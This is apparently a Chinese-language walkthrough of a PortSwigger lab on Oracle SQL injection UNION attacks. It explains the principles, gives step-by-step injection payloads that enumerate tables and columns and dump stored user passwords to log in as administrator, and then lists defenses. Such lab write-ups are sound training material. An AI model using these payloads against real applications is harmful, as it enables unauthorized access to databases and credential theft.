1.背景
题目:Lab:SQL injection UNION attack,retrieving data from other tables(Oracle)
链接:https://portswigger.net/web-security/sql-injection/union-attacks/lab-retrieve-data-from-other-tables
目标:通过UNION注入枚举Oracle数据库中的表名和列名,找到存储用户凭据的表,检索管理员(administrator)的密码并使用这些凭据登录,完成实验。
2.原理
1.UNION的硬性要求:前后两条SELECT语句的列数必须一致,且对应列的数据类型兼容。
2.Oracle系统视图:Oracle不使用information_schema,而是提供all_tables和all_tab_columns系统视图,分别存储了当前数据库中的所有表名和列名信息。
3.标识符大小写与引号:Oracle中表名和列名是数据库对象的标识符,必须全大写且不能加单引号(加单引号会被当作普通字符串原样显示)。
4.虚表dual:Oracle语法极其严格,要求SELECT必须搭配FROM。当查询没有实际表名时(如探测列数或测试显示位),必须指定内置的伪表dual。
过滤系统表:为精准定位目标,需通过WHERE table_name LIKE'USERS%'过滤掉大量系统表干扰。
3.攻击步骤
Step 1:确认注入点
点击任意商品分类链接(如Accessories),确认URL中存在?category=Accessories,说明category参数可控,且为字符型注入。
Step 2:探测列数与显示位
'+UNION+SELECT+NULL,NULL+FROM+dual–+
页面正常返回,说明原查询返回2列。
'+UNION+SELECT+'abc',NULL+FROM+dual–+
页面出现abc,说明第1列为字符串显示位。
Step 3:枚举表名
'+UNION+SELECT+table_name,NULL+FROM+all_tables+WHERE+table_name+LIKE+'USERS%'–+
页面返回结果中,找到目标表名为USERS_XXXXXX(如USERS_AJOPXP)。
Step 4:枚举列名
'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_XXXXXX'–+
页面返回该表的所有列名,找到两个关键列:USERNAME_随机后缀(如USERNAME_RCEKKZ)和PASSWORD_随机后缀(如PASSWORD_ICVRGS)。
Step 5:拖取数据并登录
'+UNION+SELECT+USERNAME_RCEKKZ,PASSWORD_ICVRGS+FROM+USERS_XXXXXX–+
页面列出所有用户名和对应的密码,找到administrator的密码。点击右上角My Account,输入用户名administrator和对应密码,登录成功→实验已解决。
4.修复方案
参数化查询(Prepared Statements):将SQL语句的结构与用户数据彻底分离。无论用户输入什么,都无法改变SQL的语法结构,自然也无法追加UNION查询。
最小权限原则:为应用分配数据库账号时,只授予必要的SELECT权限,禁止访问all_tables等系统视图,从根本上阻断攻击者枚举数据库结构的能力。
输入验证与白名单:对category等参数进行严格的格式校验,只允许预期的值通过。
5.反思
在不知道表名和列名的情况下,攻击者可以通过Oracle专属的系统视图"自举"出完整的数据库结构,最终实现跨表批量拖取敏感数据。
Oracle数据库必须带FROM dual,标识符必须全大写,熟悉这些"差异"是成功注入的关键。
防御端除了参数化查询,还应限制应用账号对系统视图的访问权限,避免给攻击者提供"地图"。
攻击的第一步永远是侦察——列数、显示位、表名、列名,一步都不能省。盲目猜测列名在真实场景中几乎必然失败,因为现代应用普遍使用随机化命名来对抗简单注入。

